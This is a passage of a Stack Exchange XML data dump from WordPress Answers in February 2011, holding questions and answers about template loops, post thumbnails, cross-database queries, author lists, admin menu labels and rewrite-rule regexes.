next_post_link('%link', $nextthumbnail); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php // Create and run custom loop&#xA;            $custom_posts = new WP_Query();&#xA;            $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Sidebar');&#xA;            while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-3 border-top&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;Other_Work&quot;, true); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Start the main loop&#xA;            if ( have_posts() ) while ( have_posts() ) : the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-4 border-top&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;        &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&#xA;        &amp;lt;?php get_sidebar('secondary'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-02-12T19:43:41.610" LastActivityDate="2011-02-12T21:13:24.017" Title="Thumbnail (featured image) of next and previous post is not being properly displayed!" Tags="&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="3" />
  <row Id="9203" PostTypeId="1" CreationDate="2011-02-12T16:38:53.107" Score="0" ViewCount="266" Body="&lt;p&gt;This is the set up:&#xA;Two separate wordpress installs on two separate domains (not multi-site)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I want to do&#xA;Query the posts from database one based on custom field and display them on the other Wordpress install&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have done:&#xA;Created a metabox in the WP 1 install for custom field&#xA;Created a template in WP 2 install with the following query&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$hbldb = new wpdb('username','password','dbasename','localhost');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$results = $hbldb-&gt;get_results(&#xA;  query_posts('meta_key=dbt_ffhpost&amp;amp;meta_value=on')&#xA;);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LOOP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result:&#xA;404 - what you are looking for isn't here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the issue is in the query - just don't know what.  Do I need to query the specific table, row, field etc?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2567" LastActivityDate="2011-02-14T19:57:40.497" Title="Connect to another WP install and grab post based on custom field" Tags="&lt;database&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="9204" PostTypeId="2" ParentId="9202" CreationDate="2011-02-12T17:37:47.897" Score="0" ViewCount="" Body="&lt;p&gt;It looks like you're setting up 2 loops when you don't need to. If you're in a template that's displaying a 'blocks' post (e.g.  single-blocks.php), then simply use the get_previous_post and get_next_post functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    the_post();&#xA;?&amp;gt;&amp;lt;div class=&quot;float-left&quot;&amp;gt; &amp;lt;?php&#xA;        $prevPost = get_previous_post();&#xA;        $prevthumbnail = get_the_post_thumbnail($prevPost-&amp;gt;ID);&#xA;        previous_post_link('%link',''.$prevthumbnail.'');&#xA;?&amp;gt;  &amp;lt;/div&amp;gt;&#xA;&#xA; &amp;lt;div class=&quot;float-right&quot;&amp;gt; &amp;lt;?php&#xA;        $nextPost = get_next_post();&#xA;        $nextthumbnail = get_the_post_thumbnail($nextPost-&amp;gt;ID);&#xA;        next_post_link('%link',''.$nextthumbnail.'');&#xA;?&amp;gt;  &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just noticed you're outside of the loop, in which case, set up your query so it only returns one post. Adding the post ID in to the WP_Query arguments.&lt;/p&gt;&#xA;" OwnerUserId="2908" LastActivityDate="2011-02-12T17:37:47.897" CommentCount="1" />
  <row Id="9205" PostTypeId="2" ParentId="9202" CreationDate="2011-02-12T17:42:01.727" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; OK. If you get to keep changing the question, I get to delete what I had written before and start all over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest, I'm a bit confused about what you are trying to do. Since this &lt;em&gt;appears&lt;/em&gt; to be for a single post (based on the comment at the top of your template), it is unclear to me what your first 2 custom loops are meant to accomplish. It &lt;em&gt;looks&lt;/em&gt; like you are printing out the thumbnails and contents of &lt;em&gt;all&lt;/em&gt; &lt;code&gt;blocks&lt;/code&gt; posts that have a location of &lt;code&gt;Work&lt;/code&gt;, regardless of what single post you are on. If you simply want to show the thumbnail and content for the current, single post, then just do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: because the custom loop for the &lt;code&gt;Front Page&lt;/code&gt; posts calls &lt;code&gt;the_post()&lt;/code&gt;, it is modifying the global &lt;code&gt;$post&lt;/code&gt;. I don't know if your sidebar code is depending on that being the original post or not, but I stuck in a call to &lt;code&gt;wp_reset_query()&lt;/code&gt; just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what I &lt;em&gt;think&lt;/em&gt; you were trying to accomplish, but I could be wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The Template for displaying all single posts.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Starkers&#xA; * @since Starkers 3.0&#xA; */&#xA;&#xA;    get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;            &amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;block-2 padding-top&quot;&amp;gt;&#xA;            &amp;lt;?php the_content(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;            &amp;lt;?php // Display the thumbnail of the previous post ?&amp;gt;&#xA;            &amp;lt;div class=&quot;float-left&quot;&amp;gt; &amp;lt;?php&#xA;                $prevPost = get_previous_post();&#xA;                $prevthumbnail = get_the_post_thumbnail($prevPost-&amp;gt;ID); ?&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php previous_post_link('%link', 'Previous'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php previous_post_link('%link', $prevthumbnail); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php // Display the thumbnail of the next post ?&amp;gt;&#xA;            &amp;lt;div class=&quot;float-right&quot;&amp;gt; &amp;lt;?php&#xA;                $nextPost = get_next_post();&#xA;                $nextthumbnail = get_the_post_thumbnail($nextPost-&amp;gt;ID); ?&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php next_post_link('%link', 'Next'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;?php next_post_link('%link', $nextthumbnail); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Create and run custom loop&#xA;            $custom_posts = new WP_Query();&#xA;            $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;amp;location=Front Page&amp;amp;amp;section=Sidebar');&#xA;            while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-3 border-top&quot;&amp;gt;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;p&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, &quot;Other_Work&quot;, true); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php wp_reset_query(); // I don't know if this is needed by the sidebar code. If not, you can delete this. ?&amp;gt;&#xA;        &amp;lt;?php get_sidebar('secondary'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #content --&amp;gt;&#xA;&#xA;    &amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditorDisplayName="" LastEditDate="2011-02-12T21:13:24.017" LastActivityDate="2011-02-12T21:13:24.017" CommentCount="6" />
  <row Id="9206" PostTypeId="2" ParentId="9202" CreationDate="2011-02-12T18:11:57.647" Score="0" ViewCount="" Body="&lt;p&gt;I needed this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;placed here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php // Display post thumbnail&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-02-12T18:11:57.647" />
  <row Id="9207" PostTypeId="1" CreationDate="2011-02-12T18:31:24.397" Score="1" ViewCount="95" Body="&lt;p&gt;I want to redesign my current website (www.ch3.gr) using wordpress.&#xA;Since the content of my site will be 95% images, I am looking for a better way to manage them from within WP back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have in mind at the moment, is a central and managed repository that every uploaded image goes into. This repository can be shorted by date, name, tags etc so I can easily find, edit and select my images to add into a post or a gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every new image will probable be in its own post and part of the blog's stream. But then I also want to have some fixed pages with image galleries, that their content may change at any time. So I want to be able to do that easily and without having to re-upload the image. An image may also be part of more than one gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked into many different plugIns but I haven't found one that offers this functionality. Have you maybe come across one that would do what I want? If not, do you have any other solution to suggest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2011-03-02T04:46:05.950" Title="How to create a managed image repository in wordpress" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;images&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9208" PostTypeId="2" ParentId="8636" CreationDate="2011-02-12T19:08:28.140" Score="0" ViewCount="" Body="&lt;p&gt;There was a conflict with the Facebook Share plugin.  If you add the &lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; code somewhere before the Facebook Share code, the like button then works, and the share button still works.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-12T19:08:28.140" />
  <row Id="9209" PostTypeId="1" AcceptedAnswerId="9221" CreationDate="2011-02-12T19:09:19.480" Score="1" ViewCount="301" Body="&lt;p&gt;I'm trying to do something I assumed would be easy. I assumed wrong. What I want to do is list all the authors of a site on the sidebar, with a link to their respective author page, number of posts written, and gravatar. wp_list_authors doesn't give me an option to include the gravatar at all. Here is what I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $blogusers = get_users_of_blog();&#xA;        if ($blogusers) {&#xA;          foreach ($blogusers as $bloguser) {&#xA;            $user = get_userdata($bloguser-&amp;gt;user_id);&#xA;        $post_count = count_user_posts($user-&amp;gt;ID);&#xA;            if ($post_count) {&#xA;        echo '&amp;lt;li&amp;gt;';&#xA;        echo '&amp;lt;a href=&quot;'.get_bloginfo('url').'/author/' . $user-&amp;gt;user_nicename . '&quot;&amp;gt;'.get_avatar($user-&amp;gt;user_email, '36').'&amp;lt;/a&amp;gt;';&#xA;        echo '&amp;lt;a href=&quot;'.get_bloginfo('url').'/author/' . $user-&amp;gt;user_nicename . '&quot;&amp;gt;'.$user-&amp;gt;display_name.' ('.$post_count.')&amp;lt;/a&amp;gt;&amp;lt;li&amp;gt;';&#xA;            }&#xA;          }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works, albeit with two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I can't find a way to have them sort by number of posts&lt;/li&gt;&#xA;&lt;li&gt;the get_users_of_blog is a depreciated function. I really don't want to use it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I was able to create an explode with wp_list_authors, but didn't have a clue how to extract the data out of it to display in this manner. Help?&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-03-14T11:56:38.633" Title="List authors of site with link and gravatar" Tags="&lt;author&gt;&lt;list-authors&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="9210" PostTypeId="2" ParentId="8639" CreationDate="2011-02-12T19:14:56.990" Score="0" ViewCount="" Body="&lt;p&gt;I posted the answer here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/8636/button-in-sidebarother-widget-not-showing-up-on-all-pages&quot;&gt;Button in SideBarOther widget not showing up on all pages&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question got migrated here from stackexchange - I would not have posted it here (Wordpress Answers) twice.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-12T19:14:56.990" />
  <row Id="9211" PostTypeId="1" AcceptedAnswerId="9224" CreationDate="2011-02-12T19:32:38.657" Score="1" ViewCount="933" Body="&lt;p&gt;I have spent the last day using the functions.php file to fully customize WordPress for my client sites. I am amazed at how much I have been able to accomplish and how much easier it will make things for my clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have removed certain menu items for users that are not logged in as an admin. What I am hoping (and from what I have read know it can be done) is to find a way to rename some of the menu items (left sidebar in the admin area). For instance change Posts to Articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can supply the code for the functions.php file or point me in the direction I would greatly appreciate it!&lt;/p&gt;&#xA;" OwnerUserId="3110" LastEditorUserId="3110" LastEditorDisplayName="" LastEditDate="2011-02-13T16:10:23.660" LastActivityDate="2011-02-13T16:10:23.660" Title="Changing Admin Menu Labels" Tags="&lt;wp-admin&gt;&lt;functions&gt;&lt;admin-menu&gt;&lt;dashboard&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" />
  <row Id="9212" PostTypeId="2" ParentId="9203" CreationDate="2011-02-12T19:57:28.433" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;query_posts()&lt;/code&gt; inside your database call is being evaluated first, on the current site, and returning an array - which is probably empty, since its not the database you were expecting to be querying. Then that array of posts is being passed to the outer &lt;code&gt;$hbldb-&amp;gt;get_results()&lt;/code&gt; call, which is giving you your error, because it isn't a valid MySQL query syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to deal with the raw SQL query on your external database, you would have to write that entire query within your call to &lt;code&gt;get_results()&lt;/code&gt;... ie, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = $hbldb-&amp;gt;get_results( &quot;SELECT * FROM &#xA;                                {$hbldb-&amp;gt;posts} posts &#xA;                                JOIN {$hbldb-&amp;gt;postmeta} meta&#xA;                                ON meta.post_id = posts.ID&#xA;                                WHERE meta.meta_key ='dbt_ffhpost'&#xA;                                AND meta.meta_value = 'on'&quot;,&#xA;                                ARRAY_A );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*(edited: added ARRAY_A argument to make this query return an array.)*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think there must be a better way of doing this, but I can't quite wrap my head around how to to create a new WP_Query object that relates to a secondary wpdb object, or even if that's possible, so the best help I can give is the raw SQL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, once you have these results, you can loop through them like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;if ($results) : &#xA;&#xA;foreach ($results as $post) :&#xA;&#xA;echo '&amp;lt;h2&amp;gt;'.apply_filters( 'the_title', $post-&amp;gt;post_title ).'&amp;lt;/h2&amp;gt;';&#xA;echo '&amp;lt;h4&amp;gt;'.apply_filters( 'the_author', $post-&amp;gt;post_author ).'&amp;lt;/h4&amp;gt;';&#xA;echo apply_filters( 'the_content', $post-&amp;gt;post_content );&#xA;&#xA;endforeach; endif;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that getting more advanced data from this second WP install is much harder using this method. I didn't even deal with getting the permalinks, etc. If you need to get more data out of the other WP install, you might be better off setting up an RSS feed from that site and displaying items from that RSS feed on the first site using a plugin or basic &lt;code&gt;fetch_feed()&lt;/code&gt; code.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-02-14T19:57:40.497" LastActivityDate="2011-02-14T19:57:40.497" CommentCount="11" />
  <row Id="9213" PostTypeId="2" ParentId="9211" CreationDate="2011-02-12T20:09:36.723" Score="0" ViewCount="" Body="&lt;p&gt;I agree....the functions.php file gives lots of flexibility.  I've needed some of the same functionality that you described with a combination of functions.php filters and this template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/admin-menu-editor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/admin-menu-editor/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell..this plugin would accomplish both of your issues and it works well in Multi-Site install situations too.  Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="3111" LastActivityDate="2011-02-12T20:09:36.723" CommentCount="2" />
  <row Id="9214" PostTypeId="2" ParentId="9175" CreationDate="2011-02-12T20:17:08.757" Score="3" ViewCount="" Body="&lt;p&gt;You might also try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have one size thumbnail: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or...if you have multiple sizes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;size&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Found this here:&lt;br&gt;&#xA;&lt;a href=&quot;http://wpcanyon.com/tipsandtricks/get-the-src-attribute-from-wordpress-post-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wpcanyon.com/tipsandtricks/get-the-src-attribute-from-wordpress-post-thumbnail/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3111" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-13T10:18:09.720" LastActivityDate="2011-02-13T10:18:09.720" />
  <row Id="9215" PostTypeId="2" ParentId="9209" CreationDate="2011-02-12T20:29:16.883" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;get_users_of_blog()&lt;/code&gt; may be deprecated per documentation, but it is actually what &lt;code&gt;wp_list_authors()&lt;/code&gt; uses internally ( &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/author-template.php#L284&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ) and there seems to be no viable alternative available at moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see no easy way to customize &lt;code&gt;wp_list_authors()&lt;/code&gt; the way you want. Can only suggest to reuse code for it in you own function, modification to add gravatar will be minimal.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-12T20:29:16.883" />
  <row Id="9216" PostTypeId="1" AcceptedAnswerId="9255" CreationDate="2011-02-12T21:03:32.423" Score="0" ViewCount="304" Body="&lt;p&gt;I'm working on a category page for a custom post type called articles in WP 3.1, and I'm having some trouble with extracting the page number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The url: &lt;code&gt;/articles/category/background/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, what works for me, from my &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse7379_init' );&#xA;function wpse7379_init() {&#xA;    add_rewrite_rule(&#xA;        'articles/category/([^/]+)(/page/([0-9]+))/?$',&#xA;        'index.php?post_type=articles&amp;amp;category_name=$matches[1]&amp;amp;paged=$matches[2]',&#xA;        'top'&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This internally rewrites the url to: &#xA;&lt;code&gt;/index.php?post_type=articles&amp;amp;category_name=background&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make the pagination work by expanding the rewrite rule, but it's not working for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination works as follows: &lt;code&gt;/articles/category/background/page/2/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New rule:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule(&#xA;    'articles/category/([^/]+)(/page/([0-9]+))/?$',&#xA;    'index.php?post_type=articles&amp;amp;category_name=$matches[1]&amp;amp;paged=$matches[2]',&#xA;    'top'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should rewrite the url to:&#xA;&lt;code&gt;/index.php?post_type=articles&amp;amp;category_name=background&amp;amp;paged=2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a query with args on my &lt;code&gt;archive-articles.php&lt;/code&gt; page, but just a regular loop on the &lt;code&gt;categories.php&lt;/code&gt; page, where the posts are displayed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try &lt;code&gt;/index.php?post_type=articles&amp;amp;category_name=background&amp;amp;paged=2&lt;/code&gt; it works, but the url that gets rewritten doesn't. Its just displaying the first page, no matter what I enter as pagenumber.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to fix this? &lt;strong&gt;I think I'm looking for a proper regex, I kinda suck at regexes, so I guess thats the problem.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3107" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-13T14:24:47.620" LastActivityDate="2011-02-13T14:24:47.620" Title="Regex problem in an add_rewrite_rule" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;url-rewriting&gt;&lt;archive&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" />
  <row Id="9217" PostTypeId="1" AcceptedAnswerId="9218" CreationDate="2011-02-12T21:18:04.280" Score="1" ViewCount="405" Body="&lt;p&gt;&lt;strong&gt;This is my single.php file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;previous_post_link();&lt;/code&gt; and &lt;code&gt;next_post_link();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Worpress codex it says that &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/previous_post_link&quot; rel=&quot;nofollow&quot;&gt;it only works inside the loop&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * The Template for displaying all single posts.&#xA; *&#xA; * @package WordPress&#xA; * @subpackage Starkers&#xA; * @since Starkers 3.0&#xA; */&#xA;&#xA;    get_header(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;        &amp;lt;?php // Create and run custom loop&#xA;            $custom_posts = new WP_Query();&#xA;            $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Work&amp;amp;section=Intro');&#xA;            while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-1&quot;&amp;gt;&#xA;                &amp;lt;?php the_post_thumbnail('large'); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Create and run custom loop&#xA;            $custom_posts = new WP_Query();&#xA;            $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Work&amp;amp;section=Tagline');&#xA;            while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;        ?&amp;gt;  &amp;lt;div class=&quot;block-2 padding-top&quot;&amp;gt;&#xA;                &amp;lt;?php the_content(); ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Display the thumbnails of previous and next posts ?&amp;gt;&#xA;            &amp;lt;div class=&quot;block-2 border-top&quot;&amp;gt;&#xA;            &amp;lt;?php // Display the thumbnail of the previous post ?&amp;gt;&#xA;                &amp;lt;div class=&quot;float-left&quot;&amp;gt; &amp;lt;?php&#xA;                    $prevPost = get_previous_post();&#xA;                    $prevthumbnail = get_the_post_thumbnail($prevPost-&amp;gt;ID); ?&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php previous_post_link('%link', 'Previous'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php previous_post_link('%link', $prevthumbnail); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php // Display the thumbnail of the next post ?&amp;gt;&#xA;                &amp;lt;div class=&quot;float-right&quot;&amp;gt; &amp;lt;?php&#xA;                    $nextPost = get_next_post();&#xA;                    $nextthumbnail = get_the_post_thumbnail($nextPost-&amp;gt;ID); ?&amp;gt;&#xA;                    &amp;lt;h2&amp;gt;&amp;lt;?php next_post_link('%link', 'Next'); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                    &amp;lt;?php next_post_link('%link', $nextthumbnail); ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php // Create and run custom loop&#xA;            $custom_posts = new WP_Query();&#xA;            $custom_posts-&amp;gt;query('post_type=blocks&amp;amp;location=Front Page&amp;amp;section=Sidebar');&#xA;            while ($custom_posts-&amp;gt;have_posts()) : $custom_posts-&amp;gt;the_post();&#xA;        ?&amp;gt;  &amp;lt;div 